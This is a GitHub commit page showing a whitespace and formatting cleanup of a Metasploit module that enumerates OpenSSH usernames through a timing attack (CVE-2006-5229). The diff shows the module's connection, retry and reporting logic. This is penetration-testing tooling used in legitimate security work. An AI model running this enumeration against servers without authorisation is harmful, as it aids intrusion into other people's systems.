Skip to content

Commit 1a2899d

Browse files
committed
Fix up whitespace 'n' stuff
1 parent 96f0421 commit 1a2899d

File tree

1 file changed

+24
-38
lines changed

1 file changed

+24
-38
lines changed

modules/auxiliary/scanner/ssh/ssh_enumusers.rb

Lines changed: 24 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -12,50 +12,47 @@ class Metasploit3 < Msf::Auxiliary
1212
include Msf::Auxiliary::Report
1313
include Msf::Auxiliary::CommandShell
1414

15-
def initialize
16-
super(
15+
def initialize(info = {})
16+
super(update_info(info
1717
'Name' => 'SSH Username Enumeration',
1818
'Description' => %q{
1919
This module uses a time-based attack to enumerate users in a OpenSSH server.
2020
},
2121
'Author' => ['kenkeiras'],
2222
'References' =>
23-
[
24-
['CVE', '2006-5229']
25-
],
23+
[
24+
['CVE', '2006-5229']
25+
],
2626
'License' => MSF_LICENSE
27-
)
27+
))
2828

2929
register_options(
3030
[
31+
Opt::RPORT(22),
3132
OptPath.new('USER_FILE',
32-
[true, 'File containing usernames, one per line', nil]),
33+
[true, 'File containing usernames, one per line', nil]),
3334
OptInt.new('THRESHOLD',
34-
[true,
35-
'Amount of seconds needed before a user is considered ' \
36-
'found', 10]),
37-
Opt::RPORT(22)
35+
[true,
36+
'Amount of seconds needed before a user is considered ' \
37+
'found', 10])
3838
], self.class
3939
)
4040

4141
register_advanced_options(
4242
[
43-
OptBool.new('SSH_DEBUG',
44-
[false, 'Enable SSH debugging output (Extreme verbosity!)',
45-
false]),
46-
47-
OptInt.new('SSH_TIMEOUT',
48-
[false, 'Specify the maximum time to negotiate a SSH session',
49-
10]),
50-
5143
OptInt.new('RETRY_NUM',
5244
[true , 'The number of attempts to connect to a SSH server' \
53-
' for each user', 3])
45+
' for each user', 3]),
46+
OptInt.new('SSH_TIMEOUT',
47+
[false, 'Specify the maximum time to negotiate a SSH session',
48+
10]),
49+
OptBool.new('SSH_DEBUG',
50+
[false, 'Enable SSH debugging output (Extreme verbosity!)',
51+
false])
5452
]
5553
)
5654
end
5755

58-
5956
def rport
6057
datastore['RPORT']
6158
end
@@ -90,16 +87,12 @@ def check_user(ip, user, port)
9087
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
9188
Net::SSH.start(ip, user, opt_hash)
9289
end
93-
9490
rescue Rex::ConnectionError, Rex::AddressInUse
9591
return :connection_error
96-
9792
rescue Net::SSH::Disconnect, ::EOFError
9893
return :success
99-
10094
rescue ::Timeout::Error
10195
return :success
102-
10396
rescue Net::SSH::Exception
10497
end
10598

@@ -112,29 +105,25 @@ def check_user(ip, user, port)
112105
end
113106
end
114107

115-
116108
def do_report(ip, user, port)
117109
report_auth_info(
118-
:host => ip,
119-
:port => rport,
120-
:sname => 'ssh',
121-
:user => user,
110+
:host => ip,
111+
:port => rport,
112+
:sname => 'ssh',
113+
:user => user,
122114
:active => true
123115
)
124116
end
125117

126-
127118
def user_list
128119
File.new(datastore['USER_FILE']).read.split
129120
end
130121

131-
132122
def attempt_user(user, ip)
133123
attempt_num = 0
134124
ret = nil
135125

136126
while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
137-
138127
if attempt_num > 0
139128
Rex.sleep(2 ** attempt_num)
140129
print_debug "Retrying '#{user}' on '#{ip}' due to connection error"
@@ -143,28 +132,25 @@ def attempt_user(user, ip)
143132
ret = check_user(ip, user, rport)
144133
attempt_num += 1
145134
end
135+
146136
ret
147137
end
148138

149-
150139
def show_result(attempt_result, user, ip)
151140
case attempt_result
152141
when :success
153142
print_good "User '#{user}' found on #{ip}"
154143
do_report(ip, user, rport)
155-
156144
when :connection_error
157145
print_error "User '#{user}' on #{ip} could not connect"
158-
159146
when :fail
160147
print_debug "User '#{user}' not found on #{ip}"
161-
162148
end
163149
end
164150

165-
166151
def run_host(ip)
167152
print_status "Starting scan on #{ip}"
168153
user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
169154
end
155+
170156
end

0 commit comments

Comments
 (0)